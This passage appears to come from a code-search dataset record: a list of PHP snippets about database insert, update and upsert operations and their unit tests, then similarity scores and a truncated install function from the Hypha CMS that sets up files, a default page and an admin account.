Add checking \"isRemoved != true\" to query\n */\n if (!Config::get('RETURN_REMOVED_ITEMS')) {\n $query['isRemoved'] = [\n '$ne' => true\n ];\n }\n\n $update = [\n '$set' => $data\n ];\n\n $options = [\n 'upsert' => true,\n 'returnDocument' => \\MongoDB\\Operation\\FindOneAndUpdate::RETURN_DOCUMENT_AFTER\n ];\n\n $mongoResponse = Mongo::connect()\n ->{$this->collectionName}\n ->findOneAndUpdate($query, $update, $options);\n\n /** mongoResponse could be NULL if no item was found */\n $this->fillModel($mongoResponse ?: $data);\n }", "public function store($collection_id, $document_id)\n {\n $optional = ['document_attribute', 'collection_setting', 'document_setting', 'updated_by', 'updated_at'];\n $db_interactions = 0;\n try {\n $user = Sentinel::getUser();\n $new_annotations = [];\n $annotation_data = Request::input('data');\n\n if ((bool)count(array_filter(array_keys($annotation_data), 'is_string'))) { //if the user send a single annotation\n $annotation = $annotation_data;\n $anno = new TempAnnotation([\n '_id' => $annotation['_id'],\n 'document_id' => (int)$document_id, //$annotation['document_id'],\n 'collection_id' => (int)$collection_id, //$annotation['collection_id'],\n 'owner_id' => $user['id'],\n 'type' => $annotation['type'],\n 'spans' => $annotation['spans'],\n 'attributes' => $annotation['attributes'],\n 'created_by' => array_key_exists('created_by', $annotation) ?\n $annotation['created_by'] : $user['email'],\n 'updated_by' => $user['email']\n ]);\n foreach ($optional as $field) {\n if (array_key_exists($field, $annotation)) {\n $anno[$field] = $annotation[$field];\n }\n }\n // 'annotator_id' does not exist in older exports.\n if (isset($annotation['annotator_id'])) {\n $anno['annotator_id'] = $annotation['annotator_id'];\n }\n if (isset($annotation['created_at'])) {\n $anno['created_at'] = $annotation['created_at'];\n }\n\n $document = Document::find($document_id);\n $document->temp_annotations()->save($anno);\n\n $query = OpenDocument::where('collection_id', (int) $collection_id)\n ->where('document_id', (int) $document_id)\n ->where('annotator_type', (array_key_exists('annotator_id', $annotation) ? $annotation['annotator_id'] : null));\n $query->increment('db_interactions');\n $db_interactions = $query->get('db_interactions')[0]['db_interactions'];\n } else {\n // If the user send an array with annotations \n $annotator_id = null;\n foreach ($annotation_data as $annotation) {\n $anno = new TempAnnotation([\n '_id' => $annotation['_id'],\n 'document_id' => (int)$document_id, // $annotation['document_id'],\n 'collection_id' => (int)$collection_id, // $annotation['collection_id'],\n 'owner_id' => $user['id'],\n 'annotator_id' => (array_key_exists('annotator_id', $annotation) ? $annotation['annotator_id'] : null),\n 'type' => $annotation['type'],\n 'spans' => $annotation['spans'],\n 'attributes' => $annotation['attributes'],\n 'created_by' => array_key_exists('created_by', $annotation) ?\n $annotation['created_by'] : $user['email'],\n 'updated_by' => $user['email']\n ]);\n foreach ($optional as $field) {\n if (array_key_exists($field, $annotation)) {\n $anno[$field] = $annotation[$field];\n }\n }\n // 'annotator_id' does not exist in older exports.\n if (isset($annotation['annotator_id'])) {\n $anno['annotator_id'] = $annotation['annotator_id'];\n if ($annotator_id == null) {\n $annotator_id = $annotation['annotator_id'];\n }\n }\n if (isset($annotation['created_at'])) {\n $anno['created_at'] = $annotation['created_at'];\n }\n\n array_push($new_annotations, $anno);\n }\n\n $document = Document::find($document_id);\n $document->temp_annotations()->saveMany($new_annotations);\n $query = OpenDocument::where('collection_id', (int) $collection_id)\n ->where('document_id', (int) $document_id)\n ->where('annotator_type', $annotator_id);\n $query->increment('db_interactions', count($new_annotations));\n $db_interactions = $query->get('db_interactions')[0]['db_interactions'];\n }\n } catch (\\Exception $e) {\n Log::info(\"TempAnnotationController - store() - Catch Exception: \".$e->getMessage());\n Log::info(\"File: \".$e->getFile().\", line: \".$e->getLine());\n return Response::json(['success' => false, 'message' => $e->getMessage()]);\n }\n\n return Response::json(['success' => true, 'db_interactions' => $db_interactions]);\n }", "public abstract function updateById(int $id, array $data): void;", "public function testSpliceWithArrayOfReplacements()\n {\n $slice = $this->collection->splice(1, 1, [7,8,9]);\n\n $this->assertInstanceOf(Collection::class, $slice);\n $this->assertAttributeEquals([2], 'elements', $slice);\n $this->assertAttributeEquals([1, 7, 8, 9, 3], 'elements', $this->collection);\n }", "function array_insert(&$array, $offset, $object, $replace=false){\r\n \r\n if(is_array($array)){\r\n if($replace ){\r\n if($offset<0) $offset = 0;\r\n else if($offset > count($array)-1) $offset = count($array)-1;\r\n $a1 = array_slice($array, 0, $offset);\r\n $a2 = array_slice($array, $offset+1);\r\n array_push($a1, $object);\r\n $array = array_merge($a1, $a2);\r\n }else{ \r\n if($offset == 0){\r\n array_unshift($array, $object);\r\n }else if($offset >= count($array)){\r\n array_push($array, $object);\r\n }else{ \r\n $a1 = array_slice($array, 0, $offset);\r\n $a2 = array_slice($array, $offset);\r\n array_push($a1, $object);\r\n $array = array_merge($a1, $a2);\r\n }\r\n }\r\n } \r\n }", "public function insert(array $data)\n\t{\n\t\t$ret = null;\n\t\tnodebug([\n\t\t\t'insert before',\n\t\t\t$this->stateHash => $this->originalData,\n\t\t\t$this->getStateHash() => $this->data,\n\t\t\t$this->id,\n\t\t]);\n\t\ttry {\n\t\t\t$ret = parent::insert($data);\n\t\t} catch (Exception $e) {\n\t\t\t//debug('LastInsertID() failed but it\\'s OK');\n\t\t\t$ret = null;\n\t\t}\n\t\t//debug($this->db->lastQuery);\n\t\t$this->originalData = $this->data;\n\t\t$this->stateHash = $this->getStateHash();\n\t\tnodebug([\n\t\t\t'insert after',\n\t\t\t$this->stateHash => $this->originalData,\n\t\t\t$this->getStateHash() => $this->data,\n\t\t\t$this->id,\n\t\t]);\n\t\treturn $ret;\n\t}", "public function pushInArray(array $data, array $item): array\n {\n if (!$this->inArray($data, $item['id'], \"id\")) {\n array_push($data, $item);\n }\n return $data;\n }", "public function testInsertAndUpdateNothing()\n {\n // return empty api result (loadByNationality)\n $apiProvider = $this->tester->getApiProvider(true);\n\n $importer = new \\App\\Service\\CustomersImporter(\n $apiProvider,\n $this->denormalizer,\n $this->repository\n );\n\n $this->assertEquals(\n [\n 'inserted' => 0,\n 'updated' => 0,\n ],\n $importer->import()\n );\n }", "public function upsert($scheme, $identifyingData, $data);", "public static function insert(Array $data, Array $options = array(\"safe\" => 1, \"fsync\" => false)) {\n\t\t\ttry {\n\t\t\t\treturn MongoConnection::$mongo_collection->insert($data, $options);\n\t\t\t} catch(Exception $MongoCursorException) {\n\t\t\t\t//Output error details\n\t\t\t\tError::halt(503, 'service unavailable', 'Temporarily unable to process request. Failed to insert into the MongoDB collection. Please retry.');\t\n\t\t\t}\n\t\t}", "public function bulkUpdate(array $payload) {\n $collection = collect($payload);\n\n $products = $collection->map(function ($product) {\n $newProduct = new Product([\n 'id' => $product['id'],\n 'name' => $product['name'],\n 'price' => $product['price'],\n 'quantity' => $product['quantity'],\n ]);\n\n $product = $this->findById($product['id']);\n\n if ($product->quantity !== $newProduct->quantity) {\n $product->history()->create([\n 'quantity' => $newProduct->quantity,\n ]);\n }\n\n return $newProduct;\n });\n\n $this->model->upsert(\n $products->toArray(),\n ['id'],\n $this->model->fillable,\n );\n\n return $products;\n }", "function update($filter,$set,$params=null){\n if(!$this->db_coll_set()){\n return [\"error\"=>\"db or collection not set.\"];\n }\n $_ids = [];\n $bulk = new MongoDB\\Driver\\BulkWrite;\n \n if(!$params){\n $params = ['multi' => false, 'upsert' => false];\n }\n \n $bulk->update(\n $filter,\n ['$set' => $set],\n $params\n );\n $result = $this->manager->executeBulkWrite($this->dbdotcoll, $bulk, $this->writeConcern);\n \n return $result;\n \n }", "public function upsert($table, $insertFieldValues, $updateFieldValues = [], $primaryKey = null);", "public static function insert($data) {\n\t\tif (!is_array($data)) return false;\n\t\t$data = self::_cookData($data);\n\t\t$ret = self::_getDao()->insert($data);\n\t\tif (!$ret) return $ret;\n\t\treturn self::_getDao()->getLastInsertId();\n\t}", "public function testShift()\n {\n $element = $this->collection->shift();\n\n $this->assertCount(2, $this->collection);\n $this->assertFalse($this->collection->contains(1));\n $this->assertEquals(1, $element);\n }", "public function update(array $data,$id);", "public function update($id, Array $data)\r\n {\r\n }", "public function insert(array $values)\n {\n // Since every insert gets treated like a batch insert, we will have to detect\n // if the user is inserting a single document or an array of documents.\n $batch = true;\n\n foreach ($values as $key => $value) {\n // As soon as we find a value that is not an array we assume the user is\n // inserting a single document.\n if (! is_array($value) || is_string($key)) {\n $batch = false;\n\n break;\n }\n }\n\n if (is_null($this->keys)) {\n $this->useKeys(Helper::getUniqueId($this->type));\n }\n\n if ($batch) {\n foreach ($values as &$value) {\n $value[Helper::TYPE_NAME] = $this->type;\n $key = Helper::getUniqueId($this->type);\n $result = $this\n ->connection\n ->getBucket()\n ->defaultCollection()\n ->upsert($key, Grammar::removeMissingValue($value));\n }\n } else {\n $values[Helper::TYPE_NAME] = $this->type;\n $result = $this\n ->connection\n ->getBucket()\n ->defaultCollection()\n ->upsert($this->keys, Grammar::removeMissingValue($values));\n }\n\n return $result;\n }", "public function insert(array $values) {\n // Since every insert gets treated like a batch insert, we will have to detect\n // if the user is inserting a single document or an array of documents.\n $batch = true;\n\n foreach ($values as $value) {\n // As soon as we find a value that is not an array we assume the user is\n // inserting a single document.\n if (!is_array($value)) {\n $batch = false;\n break;\n }\n }\n\n if (!$batch)\n $values = array($values);\n\n // Batch insert\n $result = $this->collection->batchInsert($values);\n\n return (1 == (int) $result['ok']);\n }", "public function testCollectionPersistNoUpdater()\n {\n $article = $this->createArticleSlideshow();\n $this->documentManager->persist($article);\n $this->documentManager->flush();\n $this->documentManager->clear();\n }", "public function documents_put($id=\"0\")\n {\n if(!$this->canWrite())\n {\n $array = $this->getErrorArray2(\"permission\", \"This user does not have the write permission\");\n $this->response($array);\n return;\n }\n\n $sutil = new CILServiceUtil();\n $jutil = new JSONUtil();\n $input = file_get_contents('php://input', 'r');\n \n \n if(strcmp($id,\"0\")==0)\n {\n $array = array();\n $array['Error'] = 'Empty ID!';\n $this->response($array);\n }\n \n \n if(is_null($input))\n {\n $mainA = array();\n $mainA['error_message'] =\"No input parameter\";\n $this->response($mainA);\n\n }\n $owner = $this->input->get('owner', TRUE);\n if(is_null($owner))\n $owner = \"unknown\";\n $params = json_decode($input);\n \n if(is_null($params))\n {\n $array = array();\n $array['Error'] = 'Empty document!';\n $this->response($array);\n }\n \n $jutil->setStatus($params,$owner);\n $doc = json_encode($params);\n if(is_null($params))\n {\n $mainA = array();\n $mainA['error_message'] =\"Invalid input parameter:\".$input;\n $this->response($mainA);\n\n }\n \n $result = $sutil->updateDocument($id,$doc);\n $this->response($result);\n }", "public abstract function insert();", "public function insert($data)\n {\n // First of all let's make sure we receive an array...\n $data_as_array = (is_object($data)) ? (array)$data : $data;\n\n //now let's see if the array is a multidimensional one (multiple rows insert)\n $multi = FALSE;\n foreach($data_as_array as $element)\n {\n $multi = (is_array($element)) ? TRUE : FALSE;\n }\n\n // if the array is not a multidimensional one...\n if($multi === FALSE)\n {\n $data = $this->trigger('before_create',$data);\n if($this->_database->insert($this->table, $data))\n {\n $id = $this->_database->insert_id();\n $return = $this->trigger('after_create',$id);\n return $return;\n }\n return FALSE;\n }\n // else...\n else\n {\n foreach($data as $row)\n {\n $row = $this->trigger('before_create',$row);\n if($this->_database->insert($this->table,$row))\n {\n $id[] = $this->_database->insert_id();\n }\n }\n $return = $this->trigger('after_create',$id);\n return $return;\n }\n return FALSE;\n }", "public function save(array $data, int $id = null)\n {\n return Result::updateOrCreate(\n [\n 'id' => $id\n ],\n [\n 'exam_id' => $data['exam_id'],\n 'question_id' => $data['question_id'],\n 'answer_id' => $data['answer_id'],\n 'user_id' => $data['user_id'],\n ]\n );\n }", "public function testReplace()\n {\n $documentHandler = new DocumentHandler($this->connection);\n $result = $documentHandler->save($this->collection1->getName(), [ '_key' => 'test', 'value' => 'test' ]);\n static::assertEquals('test', $result);\n\n $trx = new StreamingTransaction($this->connection, [\n TransactionBase::ENTRY_COLLECTIONS => [\n TransactionBase::ENTRY_WRITE => [ $this->collection1->getName() ]\n ]\n ]);\n\n $trx = $this->transactionHandler->create($trx);\n $this->_shutdown[] = $trx;\n static::assertInstanceOf(StreamingTransaction::class, $trx);\n \n static::assertTrue(is_string($trx->getId()));\n\n $trxCollection = $trx->getCollection($this->collection1->getName());\n static::assertEquals($this->collection1->getName(), $trxCollection->getName());\n\n // document should be present inside transaction\n $doc = $documentHandler->getById($trxCollection, \"test\");\n static::assertEquals('test', $doc->getKey());\n static::assertEquals('test', $doc->value);\n\n // replace document inside transaction\n unset($doc->value);\n $doc->hihi = 'hoho';\n $result = $documentHandler->replaceById($trxCollection, 'test', $doc);\n static::assertTrue($result);\n\n // transactional lookup should find the modified document\n $doc = $documentHandler->getById($trxCollection, \"test\");\n static::assertEquals('test', $doc->getKey());\n static::assertEquals('hoho', $doc->hihi);\n static::assertObjectNotHasAttribute('value', $doc);\n \n // non-transactional lookup should still see the old document\n $doc = $documentHandler->getById($this->collection1->getName(), \"test\");\n static::assertEquals('test', $doc->getKey());\n static::assertEquals('test', $doc->value);\n static::assertObjectNotHasAttribute('hihi', $doc);\n \n // now commit\n static::assertTrue($this->transactionHandler->commit($trx->getId()));\n\n $doc = $documentHandler->getById($this->collection1->getName(), \"test\");\n static::assertEquals('test', $doc->getKey());\n static::assertEquals('hoho', $doc->hihi);\n static::assertObjectNotHasAttribute('value', $doc);\n }", "private static function prepare($bson)\n {\n if (! is_array($bson) && ! is_object($bson)) {\n return $bson;\n }\n\n /* Convert Int64 objects to integers on 64-bit platforms for\n * compatibility reasons. */\n if ($bson instanceof Int64 && PHP_INT_SIZE != 4) {\n return (int) ((string) $bson);\n }\n\n /* TODO: Convert Int64 objects to integers on 32-bit platforms if they\n * can be expressed as such. This is necessary to handle flexible\n * numeric comparisons if the server returns 32-bit value as a 64-bit\n * integer (e.g. cursor ID). */\n\n // Serializable can produce an array or object, so recurse on its output\n if ($bson instanceof Serializable) {\n return self::prepare($bson->bsonSerialize());\n }\n\n /* Serializable has already been handled, so any remaining instances of\n * Type will not serialize as BSON arrays or objects */\n if ($bson instanceof Type) {\n return $bson;\n }\n\n if (is_array($bson) && self::isArrayEmptyOrIndexed($bson)) {\n $bson = new BSONArray($bson);\n }\n\n if (! $bson instanceof BSONArray && ! $bson instanceof BSONDocument) {\n /* If $bson is an object, any numeric keys may become inaccessible.\n * We can work around this by casting back to an array. */\n $bson = new BSONDocument((array) $bson);\n }\n\n foreach ($bson as $key => $value) {\n if (is_array($value) || is_object($value)) {\n $bson[$key] = self::prepare($value);\n }\n }\n\n return $bson;\n }", "function testFindByIdWithMissingId() {\r\n $this->User =& new User();\r\n \r\n $this->User->contain();\r\n $result = $this->User->findById(99999999, 'username');\r\n $this->assertFalse($result);\r\n }", "public function write($id, $data){\n\n $sess_id = $this->sess_id_prefix.$id;\n\n\n // create if row / document not exist\n if($this->docExist === false)\n {\n \n\n $insertResult = $this->coll->insertOne( array('sess_id' => $sess_id, 'data' => $data, 'expireAt' => $this->expireAt ) );\n\n return ( $insertResult->getInsertedCount() == 1 );\n\n \n }\n else\n {\n\n $updateResult = $this->coll->updateOne( \n array('sess_id' => $sess_id), \n \n array('$set' => array('data' => $data, 'expireAt'=> $this->expireAt) ) \n\n );\n\n return ( $updateResult->getMatchedCount() == 1 );\n \n }\n }", "public function insert($collection, array $data, array $options=array()){\r\n return $this->getCollection($collection)->insert($data, $options);\r\n }", "public function add_to_pool($data)\n {\n //If the data provided is not an array ~ return false\n if(!is_array($data))\n { return FALSE; }\n\n // Generate a random id\n $id = mt_rand(LOWER_ID_BOUND,UPPER_ID_BOUND); \n \n #TODO: Consider checking if we have run out of ids (We have 99 million possible ids ~ should be enough for a while. Means 99 million hookup attempts)\n \n $this->db->select(TBL_POOL.'.id');\n $this->db->where(TBL_POOL.'.id',$id);\n $pool_entry = $this->db->get(TBL_POOL)->row_object();\n\n //If a pool entry with that id exists ~ try again\n if(isset($pool_entry))\n { \n $this->add_to_pool($data);#Recursively try again\n }\n else //The pool entry does not exist ~ the id is unique\n {\n $data['id'] = $id;\n return $this->db->insert(TBL_POOL,$data);\n }\n }", "public function update_packages($data){\n $update=\\DB::table('packages')->where('id','>=',1)->delete();\n foreach($data as $row){\n \n $update=\\DB::table('packages')->insert([$row]);\n }\n if($update)\n return true;\n else \n return false;\n \n}", "function testInsertIntMongo64Big()\n\t{\n\t\t$c = $this->object;\n\t\t$c->insert(array('int64' => new MongoInt64(123456789012345678901234567890)));\n\t\t$x = $c->findOne();\n\t\t$this->assertInternalType('float', $x['int64']);\n\t\t$this->assertSame((double) 1, $x['int64']);\n\t}", "public function testSetAssociationIdsExistingAssocObjects()\n {\n $this->fixtures('users', 'articles');\n\n $user = User::find($this->users('derek')->id);\n $this->assertTrue(count($user->articles) > 0);\n\n $user->articleIds = array($this->articles('xml_rpc')->id, $this->articles('best_practices')->id);\n\n $this->assertEquals($this->articles('xml_rpc')->id, $user->articleIds[0]);\n $this->assertEquals($this->articles('best_practices')->id, $user->articleIds[1]);\n\n // save, and make sure the association object is created\n $user->save();\n\n // make sure both were created, and are associated\n $user = User::find($this->users('derek')->id);\n $this->assertTrue($user instanceof User);\n $this->assertEquals(2, count($user->articles));\n\n $article1 = Article::find($this->articles('xml_rpc')->id);\n $article2 = Article::find($this->articles('best_practices')->id);\n $this->assertTrue($article1 instanceof Article);\n $this->assertTrue($article2 instanceof Article);\n\n $this->assertEquals($article1->user_id, $user->id);\n $this->assertEquals($article2->user_id, $user->id);\n }", "public function testCollectionTypeUpdate()\n {\n $article = $this->createArticleSlideshow();\n $this->updater->update($this->documentManager, $article);\n $this->documentManager->persist($article);\n $this->documentManager->flush();\n $this->documentManager->clear();\n\n $image = $this->createImage('/path/to/image7', 100, 200, 'image/jpeg');\n\n $article = $this->documentManager->find(null, '/test/article');\n $article->slideshow->add($image);\n $this->assertCount(4, iterator_to_array($article->slideshow));\n\n $this->documentManager->persist($article);\n $this->updater->update($this->documentManager, $article);\n $this->documentManager->flush();\n $this->documentManager->clear();\n $article = $this->documentManager->find(null, '/test/article');\n\n $slideshow = iterator_to_array($article->slideshow);\n $this->assertCount(4, $slideshow);\n }", "public function testUpdate()\n {\n $documentHandler = new DocumentHandler($this->connection);\n $result = $documentHandler->save($this->collection1->getName(), [ '_key' => 'test', 'value' => 'test' ]);\n static::assertEquals('test', $result);\n\n $trx = new StreamingTransaction($this->connection, [\n TransactionBase::ENTRY_COLLECTIONS => [\n TransactionBase::ENTRY_WRITE => [ $this->collection1->getName() ]\n ]\n ]);\n\n $trx = $this->transactionHandler->create($trx);\n $this->_shutdown[] = $trx;\n static::assertInstanceOf(StreamingTransaction::class, $trx);\n \n static::assertTrue(is_string($trx->getId()));\n\n $trxCollection = $trx->getCollection($this->collection1->getName());\n static::assertEquals($this->collection1->getName(), $trxCollection->getName());\n\n // document should be present inside transaction\n $doc = $documentHandler->getById($trxCollection, \"test\");\n static::assertEquals('test', $doc->getKey());\n static::assertEquals('test', $doc->value);\n\n // update document inside transaction\n $doc->value = 'foobar';\n $result = $documentHandler->updateById($trxCollection, 'test', $doc);\n static::assertTrue($result);\n\n // transactional lookup should find the modified document\n $doc = $documentHandler->getById($trxCollection, \"test\");\n static::assertEquals('test', $doc->getKey());\n static::assertEquals('foobar', $doc->value);\n \n // non-transactional lookup should still see the old document\n $doc = $documentHandler->getById($this->collection1->getName(), \"test\");\n static::assertEquals('test', $doc->getKey());\n static::assertEquals('test', $doc->value);\n \n // now commit\n static::assertTrue($this->transactionHandler->commit($trx->getId()));\n\n $doc = $documentHandler->getById($this->collection1->getName(), \"test\");\n static::assertEquals('test', $doc->getKey());\n static::assertEquals('foobar', $doc->value);\n }", "public function upsert(array $values, $uniqueBy, $update = null)\n {\n return parent::upsert(\n Factory::resolve($values),\n $uniqueBy,\n Factory::resolve($update),\n );\n }", "public function save(array &$a, array $options = [])\n {\n $return = $this->mock->save($a, $options);\n if (!isset($a['_id']) || $a['_id'] === null) {\n $a['_id'] = new \\MongoId();\n }\n return $return;\n }", "public function test_sync_withExistingIds_sameCountAndReturnTrue() {\n\t\t$this->repo->sync(789,91437);\n\t\t\n\t\t$expected = array(\n\t\t\t 'count'=>(integer)$this->repo->count(),\n\t\t\t 'result'=>true\n\t\t);\n\t\t\n\t\t\n\t\t//sync same numbers, count should not change\n\t\t$result = $this->repo->sync(789,91437);\n\t\t\n\t\t$actual = array(\n\t\t\t'count'=>(integer) $this->repo->count(),\n\t\t\t'result'=>$result\n\t\t);\n\t\t\n\t\t$this->assertEquals($expected,$actual);\n\t\t\n\t}", "public function set($collection,$criteria,$newobj,$upsert = false,$multiple=false,$safe = false) {\n return $this->update($collection,$criteria,array('$set'=>$newobj),$upsert,$multiple,$safe);\n }", "public function insert_or_update($table, $set = NULL, $update_set = NULL) {\n //PerformanceLogger::start_query(\"insert_or_update\", $this->get_db_name(), $table);\n try {\n $result = $this->ci_db->insert_or_update($table, $set, $update_set);\n } catch(DbException $exception) {\n error(__FILE__, 'DB wrapper caught exception: ' . $exception->getMessage());\n }\n $this->log_query(\"insert_or_update\", $table, \"\");\n $this->handle_error();\n //PerformanceLogger::end_query();\n return $result;\n }", "public function insert(array $values)\n {\n // Since every insert gets treated like a batch insert, we will have to detect\n // if the user is inserting a single document or an array of documents.\n $batch = true;\n\n foreach ($values as $value) {\n // As soon as we find a value that is not an array we assume the user is\n // inserting a single document.\n if (!is_array($value)) {\n $batch = false;\n break;\n }\n }\n\n if (!$batch) {\n $values = [$values];\n }\n\n // Batch insert\n $result = $this->collection->batchInsert($values);\n\n return (1 == (int) $result['ok']);\n }", "public function supportsInsertNullPk();" ]
[ "0.60246205", "0.59903115", "0.59610593", "0.567923", "0.5667539", "0.56558675", "0.56102324", "0.54039866", "0.5270494", "0.5237586", "0.52173924", "0.5179021", "0.5130822", "0.51263905", "0.5076853", "0.5058752", "0.50581264", "0.5045449", "0.49722055", "0.4958831", "0.49578366", "0.49561206", "0.49527332", "0.49366716", "0.4915198", "0.49129662", "0.4908667", "0.49047518", "0.48753953", "0.48646978", "0.48611256", "0.48467767", "0.48461452", "0.48346826", "0.4819437", "0.48098072", "0.4803883", "0.48003584", "0.4793002", "0.479243", "0.47808045", "0.4772891", "0.4768942", "0.4759727", "0.47373143", "0.4733629", "0.4720738", "0.47196108", "0.4713437", "0.4713437", "0.47068062", "0.47034118", "0.46964645", "0.46899602", "0.4674121", "0.4650992", "0.46476033", "0.46456683", "0.464021", "0.46228278", "0.46162027", "0.46062016", "0.46040148", "0.46038097", "0.46000427", "0.45949176", "0.45794713", "0.4576843", "0.4571577", "0.45634732", "0.45580164", "0.45432657", "0.45355085", "0.45339033", "0.45326087", "0.4525989", "0.45187575", "0.45113677", "0.45111743", "0.45087233", "0.45024776", "0.45000088", "0.4499417", "0.44964114", "0.4494501", "0.44934684", "0.44934613", "0.44923058", "0.4490127", "0.4490121", "0.4489968", "0.44828612", "0.44733474", "0.44704685", "0.44681635", "0.44582477", "0.4447656", "0.4447491", "0.44438836", "0.44350335" ]
0.48263687
34
2. save, and put this script into the webdirectory on your server (e.g. /home/yourname/domains/dom.ain/public_html/hypha.php) 3. open this script in a browser (e.g. on first run, the script will ask some questions and create the files and folders it needs for operation 4. your website is ready to use ( you can now set up your website and invite others to join the project DOCUMENTATION documentation can be generated using NaturalDocs: 1. install NaturalDocs following the instructions on ( 2. run the following command in a terminal from the same folder hypha was installed to: naturaldocs i . o FramedHTML ./doc p ./doc 3. open doc/index.html in a webbrowser LICENSE the script was written by Harmen G. Zijp and is distributed under the Simple Public License 2.0 which can be found on acknowledgements: xhtml compliant javascript editor: wymeditor htmldiff routine by Paul Butler / Section: 3. Systools: hypha.php The script hypha.php serves a number of purposes. Installer: First of all it's the installer script containing everything that's needed for a fully functional hypha website. All files needed are stored in the script as strings, using gz compression and base64 encoding to convert them into manageable strings. The script will check if an installation is present already and if not install the files in the appropriate folders. Next it will present a screen asking for information needed to finish the installation, like administrator name and password, default language et cetera. Maintenance: Secondly, the script is used as maintenance script. Users with admin rights will find a button 'system tools' in their settings page. This will make hypha leave the core script (index.php) and launch hypha.php?maintenance in stead. This presents the user a list of hypha files and checks hypha.net for available datatype modules and newer versions of system files. This is done through a call to the same script running on the website ( which returns a list of available files along with their creation date. It the timestamp is newer than the listed file's creation date, it is offered for download. Admins can choose which files to update. File server: Thirdly, the script is used to serve files to other hypha installs. Calling hypha.php?file=filename will return the requested file as a gz compressed base64 encoded string. A special call is hypha.php?file=index, which returns a list of all hypha files with timestamps of their creation. This function of the script is used in conjunction with the maintenance function. One hypha.php script running in maintenance mode requests files from another hypha.php script running on another server (by default this is but it can be set to any other url with a hypha install). Builder: Fourthly, the script can be used to build a new hypha.php containing the core scripts together with a number of additional classes for a list of chosen datatypes. This hypha.php script is offered for download and can be used again as an installer script for a new hypha install. / Function: isAllowedFile check if file may be shared (don't send site contents, user data or configuration settings) Parameters: $file filename
function isAllowedFile($file) { $path = pathinfo($file); $dir = preg_replace('#[\./]*(.*)/*#', '$1', $path['dirname']); $file = $path['basename']; if ($dir == '' && $file == '.htaccess') return true; if ($dir == '' && $file == 'index.php') return true; if ($dir == '' && $file == 'documentation.txt') return true; if ($dir == 'data' && $file == 'hypha.html') return true; if ($dir == 'data' && $file == 'hypha.css') return true; if ($dir == 'system/core') return true; if ($dir == 'system/datatypes') return true; if ($dir == 'system/languages') return true; if ($dir == 'system/php-dom-wrapper') return true; if ($dir == 'system/wymeditor') return true; return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function install() {\n\t\tglobal $errorMessage;\n\n\t\tif ($_POST['command'] == 'install' && is_writable('.')) {\n\t\t\t// upzip and install files\n\t\t\t$files = explode(',', data('index'));\n\t\t\tforeach ($files as $file) {\n\t\t\t\tif (!$file)\n\t\t\t\t\tcontinue;\n\t\t\t\t$path = pathinfo($file);\n\t\t\t\t$dir = explode('/', $path['dirname']);\n\t\t\t\t$folder = '';\n\t\t\t\tforeach($dir as $d) {\n\t\t\t\t\t$folder.= ($folder ? '/' : '').$d;\n\t\t\t\t\tif (!file_exists($folder)) mkdir($folder, 0755);\n\t\t\t\t}\n\t\t\t\tfile_put_contents($file, data($file));\n\t\t\t\tchmod($file, 0664);\n\t\t\t}\n\n\t\t\t// Needed for password hashing\n\t\t\trequire_once('system/core/crypto.php');\n\n\t\t\t// create data folders\n\t\t\tmkdir('data/pages', 0755);\n\t\t\tmkdir('data/images', 0755);\n\n\t\t\t// create default page\n\t\t\t$id = uniqid();\n\t\t\t$xml = new DomDocument('1.0', 'UTF-8');\n\t\t\t$xml->preserveWhiteSpace = false;\n\t\t\t$xml->formatOutput = true;\n\t\t\t$hypha = $xml->createElement('hypha');\n\t\t\t$hypha->setAttribute('type', 'textpage');\n\t\t\t$hypha->setAttribute('multiLingual', 'on');\n\t\t\t$hypha->setAttribute('versions', 'on');\n\t\t\t$hypha->setAttribute('schemaVersion', 1);\n\t\t\t$language = $xml->createElement('language', '');\n\t\t\t$language->setAttribute('xml:id', $_POST['setupDefaultLanguage']);\n\t\t\t$version = $xml->createElement('version', '<p>welcome to your brand new hypha website.</p>');\n\t\t\t$version->setAttribute('xml:id', 't'.time());\n\t\t\t$version->setAttribute('author', '');\n\t\t\tsetNodeHtml($version, '<p>welcome to your brand new hypha website.</p>');\n\t\t\t$language->appendChild($version);\n\t\t\t$hypha->appendChild($language);\n\t\t\t$xml->appendChild($hypha);\n\t\t\t$xml->save('data/pages/'.$id);\n\n\t\t\t// build hypha.xml\n\t\t\t$xml = new DomDocument('1.0', 'UTF-8');\n\t\t\t$xml->preserveWhiteSpace = false;\n\t\t\t$xml->formatOutput = true;\n\t\t\t$hypha = $xml->createElement('hypha');\n\t\t\t$hypha->setAttribute('type', 'project');\n\t\t\t$hypha->setAttribute('defaultLanguage', $_POST['setupDefaultLanguage']);\n\t\t\t$hypha->setAttribute('defaultPage', $_POST['setupDefaultPage']);\n\t\t\t$hypha->setAttribute('email', $_POST['setupEmail']);\n\t\t\t$hypha->setAttribute('digestInterval', '21600');\n\t\t\t$hypha->setAttribute('schemaVersion', 1);\n\t\t\t$hypha->appendChild($xml->createElement('title', $_POST['setupTitle']));\n\t\t\t$header = $xml->createElement('header', $_POST['setupTitle']);\n\t\t\t$hypha->appendChild($header);\n\t\t\t$footer = $xml->createElement('footer', '');\n\t\t\tsetNodeHtml($footer, '<a href=\"http://creativecommons.org/licenses/by-sa/3.0/\"><img alt=\"Creative Commons License\" style=\"border-width: 0pt; float: right; margin-left: 5px;\" src=\"//i.creativecommons.org/l/by-sa/3.0/88x31.png\" /></a> This work is licensed under a <a href=\"http://creativecommons.org/licenses/by-sa/3.0/\">Creative Commons Attribution-ShareAlike 3.0 Unported License</a>. Website powered by <a href=\"http://www.hypha.net\">hypha</a>.');\n\t\t\t$hypha->appendChild($footer);\n\t\t\t$menu = $xml->createElement('menu', '');\n\t\t\tsetNodeHtml($menu, '<a href=\"hypha:'.$id.'\"/>');\n\t\t\t$hypha->appendChild($menu);\n\t\t\t$userList = $xml->createElement('userList', '');\n\t\t\t$user = $xml->createElement('user', '');\n\t\t\t$user->setAttribute('id', uniqid());\n\t\t\t$user->setAttribute('username', $_POST['setupUsername']);\n\t\t\t$user->setAttribute('password', hashPassword($_POST['setupPassword']));\n\t\t\t$user->setAttribute('fullname', $_POST['setupFullname']);\n\t\t\t$user->setAttribute('email', $_POST['setupEmail']);\n\t\t\t$user->setAttribute('rights', 'admin');\n\t\t\t$userList->appendChild($user);\n\t\t\t$hypha->appendChild($userList);\n\t\t\t$pageList = $xml->createElement('pageList', '');\n\t\t\t$page = $xml->createElement('page', '');\n\t\t\t$page->setAttribute('id', $id);\n\t\t\t$page->setAttribute('type', 'textpage');\n\t\t\t$page->setAttribute('private', 'off');\n\t\t\t$language = 